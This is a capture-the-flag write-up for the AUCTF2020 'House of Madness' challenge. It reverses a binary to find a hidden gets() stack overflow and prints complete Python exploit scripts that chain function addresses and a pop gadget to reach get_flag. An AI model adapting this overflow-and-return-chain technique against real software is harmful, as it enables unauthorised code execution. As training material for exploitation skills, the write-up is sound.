Challenge details :
|AUCTF2020||House of Madness||PWN||897||100|
Welcome to the House of Madness. Can you pwn your way to the keys to get the relic
nc challenges.auctf.com 30012
Note: ASLR is disabled for this challenge
Edit: this challenge’s binary was originally a little weird. try this again!
File : challenge
challenge file was an ELF intented to be exploited through buffer overflow and multiple functions call.
We had to find the vulnerable function, and then exploit it so we could call severals functions that were not meant to be called.
Calling the right functions in the right order was giving us the flag, with a final function checking our way to the flag.
Let’s get started
After checking some basic informations like binary strings and so on, I ran the program so I could have a nice overview.
When running the binary, we were thrown into a kind of minigame with a
command prompt :
Listing the rooms provided a list of rooms (rooms 1 to 4), so I started to join the rooms to print the informations using the third option.
Here is the output of that option for each room :
room1 = "Hello, this is just a plain old room. Poke around the others " room2 = "Hola como estas esta habitación es español" room3 = "Have you tried ALL the options?" room4 = "Wow this room is special. It echoes back what you say!"
room4 was looking very interesting :D I tried to input some
A and indeed, the program was printing back the
Overflow ? Let’s check :
Well, looks like it was not my time to shine yet. At this point, I decided to throw that binary into
Radare2 so I could learn more about the function responsible for
main was really simple :
I noticed the call to the function named
game and decided to dig deeper in that way.
That function was simply printing the command prompt and any room’s informations based on the user input.
When asking for the room4, a function named
room4 was called, so I knew that I was at the right place : that was the function I had to reverse.
Here is a part of the disassembled
room4 function :
As you can see, the input was collected and 2 calls to
strcmp were done. The first call was checking if the input matches
Q, and if so the program was bringing the user back to the command prompt. The second call was comparing the input to
Stephen… And then jumping to a section of the function that was never reached otherwise !
Here is the part of the
room4 function that was reached when I was giving
Stephen as input :
The printed strings were just telling me that I was into a
hidden room, and that I could enter text again :
And here it is !! That’s the
SEGFAULT I was looking for :D
Finding the way to the flag
OK, I got my
SEGFAULT, so the next step was to know how much bytes to overwrite in order to reach the
saved EIP, and where to jump with my overwritten
If you take a look at the
hidden room asm again, you will see that the
gets function takes the
s var as parameter.
s is located at
EBP-0x18, meaning that I needed to write 24 bytes of padding to reach the
old EBP, then 4 to overwrite it.
The 4 following bytes were supposed to overwrite the
saved EIP so I tried that payload so I could confirm my padding :
import struct payload = "A" * 24 + "B" * 4 + "C" * 4
And here is the result I got, as you can see, I did overwrite the
saved EIP with
0x43434343 which is the hex for
OK, since It was possible for me to control the flow of the program, the next step was to figure out where to jump in the program.
I took a look at the symbols of the binary and spot some interesting things :
Hum, the function
get_flag and the
key related functions looked interesting to me.
saved EIP with the
get_flag function’s address gave me the following output and then a
It's not going to be that easy. Come on
At this point, I decided to dig deeper in the
get_flag function, so here is a reduced graph view of that function :
As you can see, I named some of the blocks (with names going from
All of these blocks were checking a value in memory, and these values were the
keys we should look for.
keys related function were manipulating these exact same values, so it looked like I had to call those functions as a set up for the
get_key1 was the only function needing a parameter :
0xFEEDC0DE, and that function parameter was located at
EBP+8 (in the stackframe).
For that reason, I needed to put
EBP+8, and I had to find a
pop instruction to put at
EBP+4 in order to keep control over the flow of the program.
For the other functions, I just had to add their address in my payload, with a final call to
#!/usr/bin/env python3 import struct import sys payload = b"A" * 24 payload += b"B" * 4 # Key 1 payload += struct.pack("I", 0x565566de) # get_key1 payload += struct.pack("I", 0x565567e7) # pop ebx; ret payload += struct.pack("I", 0xFEEDC0DE) # get_key1 arg # Other Keys payload += struct.pack("I", 0x5655676e) # get_key2 payload += struct.pack("I", 0x565567cd) # AAsDrwEk (get_key3) payload += struct.pack("I", 0x565567e9) # set_key4 # FLAG payload += struct.pack("I", 0x5655686b) # get_flag sys.stdout.buffer.write(b"2\n") sys.stdout.buffer.write(b"4\n") sys.stdout.buffer.write(b"3\n") sys.stdout.buffer.write(b"Stephen\n") sys.stdout.buffer.write(payload)
Here is the result :
Well… Something went wrong… Taking a look at the functions in Radare2 made me understand my mistake !
Those functions had to be called in a particular order so the function
get_flag could print the flag.
AAsDrwEk (get_key3) could be called at anytime
get_key2 needed to be called after
AAsDrwEk but before
set_key4 had to be called after
These conditions brought me to the following payload :
#!/usr/bin/env python3 import struct import sys payload = b"A" * 24 payload += b"B" * 4 payload += struct.pack("I", 0x565567cd) # AAsDrwEk (get_key3) payload += struct.pack("I", 0x5655676e) # get_key2 payload += struct.pack("I", 0x565566de) # get_key1 payload += struct.pack("I", 0x565567e7) # pop ebx; ret payload += struct.pack("I", 0xFEEDC0DE) # get_key1 arg payload += struct.pack("I", 0x565567e9) # set_key4 # FLAG payload += struct.pack("I", 0x5655686b) # get_flag sys.stdout.buffer.write(b"2\n") sys.stdout.buffer.write(b"4\n") sys.stdout.buffer.write(b"3\n") sys.stdout.buffer.write(b"Stephen\n") sys.stdout.buffer.write(payload)
./flag.py | ./challenge, and I got the flag :D
Here it is :